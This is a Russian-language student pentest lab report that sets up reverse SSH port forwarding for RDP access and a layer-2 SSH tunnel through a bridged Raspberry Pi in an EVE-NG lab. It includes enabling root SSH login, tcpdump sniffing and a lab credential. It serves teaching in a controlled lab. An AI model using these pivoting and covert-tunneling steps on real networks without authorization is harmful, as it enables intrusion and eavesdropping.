# Прктическая работа №4
# Revers Shells & Reverse SSH connections
###### tags: `PENTEST`
> Студент: Иванов С.К.
> Группа: БСБО-06-20
## Задание на практическую работу
- Построить инфраструктуру в системе EVE-NG
- Настроить каждое устройство в соответсвии со следующими параметрами:
- Kali-2021, Win-7, Win-10, Debian - получение адреса DHCP
- Устройство RPi-4 - использовать как “мостовое” устройство (необходимо для SSH tunneling L2)
## Выполнение практической работы
### Настроим получение ip адресов
Так как наше устройства является мостом, то нам надо его настроить, чтобы через него мог ходить трафик.
Для начала мы настроим конфигурацию интерфейсов в нём так, прописав `nano /etc/network/interfaces`:
```
# The primary network interface
auto ens3
allow-hotplug ens3
iface ens3 inet dhcp
```
А после этого:
```
sudo systemctl restart networking
sudo ip link set dev ens3 up
```

Теперь у нас есть доступ в интернет, так как мы получаем ip-адрес. Прописав `ip a` можем в этом убедиться.

Однако устройства дальше не получат ip-адрес, так что мы должны сделать следующие настройки, чтобы донастроить мост.
```
apt update
apt upgrade
apt install bridge-utils
```

После чего прописываем следующие команды, чтобы трафик ходил через наше устройство. Для этого снова пишем `nano /etc/network/interfaces`:
```
# The primary network interface
auto ens3
iface ens3 inet manual
auto ens4
iface ens4 inet manual
auto br0
iface br0 inet dhcp
bridge_ports ens3 ens4
```
И снова:
```
sudo systemctl restart networking
sudo ip link set dev ens3 up
sudo ip link set dev ens4 up
```

Войдём теперь в нашу Windows 10 машинку и увидем, что она получила ip-адрес.

### Reverse SSH #1 --- Windows 10 - Kali - Windows 10/7
Для начала нам надо включить ssh сервер на Kali Linux и настроить его. Для этого делаем слудющие действия.
1. С помощью команды `sudo systemctl enable ssh` включаем сам ssh.

2. Редактируем конфиг ssh с помощью `sudo nano /etc/ssh/sshd_config`:
```
#Оба элемента изначально закомментированы
PermitRootLogin yes
PermitTunnel yes
```
3. Меняем пароль для **root** пользователя.

После настройки ssh на Kali машинке переходим к нашей Windows 10. В ней нам надо разрешить удалённый доступ до устрйоства (делается в настройках системы).
После этого мы подключаемся по ssh к нашей Kali машинке, прописывая команду `ssh -R 3390:localhost:3389 user@192.168.179.133`. Как можем видеть, у нас появляется консоль терминала Linux.


Теперь перейдём в Kali и посмотрим нынешние подключения к нам. Увидим ssh подключение, которое мы только что инициализировали. Теперь можем подключиться к удалённому рабочему столу нашей Windows 10 машинки с помощью `xfreerdp`.
Пишем `sudo xfreerdp /u:user /p:eve@123 /v:127.0.0.1:3390` и запускаем. Немного подождём и откроется нашему RDP подключение.



Такое же мы можем провернуть и по отношению к Windows 7 машинке, поменяв `localhost` на её ip-адрес.

### SSH Tunneling
Итак, наше устройство настроено почти до конца, но пока что оно для нас ничего не делает. Сделаем так, чтобы через него мы могли числиться как бы внутри инфроструктуры. Помимо этого сможем ещё и смотреть весь трафик.
Подключимся с нашего устройства по ssh к Kali машинке. Для этого прописываем следующую команду:
`ssh root@192.168.197.129 -o Tunnel=ethernet -w any:any`
После чего открываем новое окно:
```
brctl addif br0 tap0
ip link set dev tap0 up
```
А в терминале Kali выполняем следующее:
```
sudo ip link set dev tap0 up
sudo tcpdump -i tap0
sudo dhclient tap0
```
Как можем потом заметить, наш новый интерфейс имеет ip-адрес.




Теперь мы можем подключиться по локальному адресу pfsense:

А также проверим, что наша Kali машинка может достучаться до остальных машин:


